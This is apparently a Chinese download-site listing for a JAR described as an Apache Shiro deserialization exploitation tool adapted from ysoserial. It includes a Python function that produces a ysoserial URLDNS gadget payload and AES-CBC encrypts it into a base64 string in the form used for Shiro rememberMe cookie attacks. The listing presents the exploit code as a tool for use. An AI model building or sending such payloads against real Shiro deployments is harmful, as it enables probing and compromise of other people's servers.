上传者: dlydk
|
上传时间: 2021-09-05 14:21:46
|
文件大小: 53.51MB
|
文件类型: JAR
shrio反序裂化利用工具,JAVA反序裂化利用工具。
https://github.com/frohoff/ysoserial 源码编辑而来。
def generator(command, fp,key):
if not os.path.exists(fp):
print('Jar zai na ne ?')
raise Exception('jar file not found!')
popen = subprocess.Popen(['java', '-jar', fp, 'URLDNS', command],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
代码中需要的jar包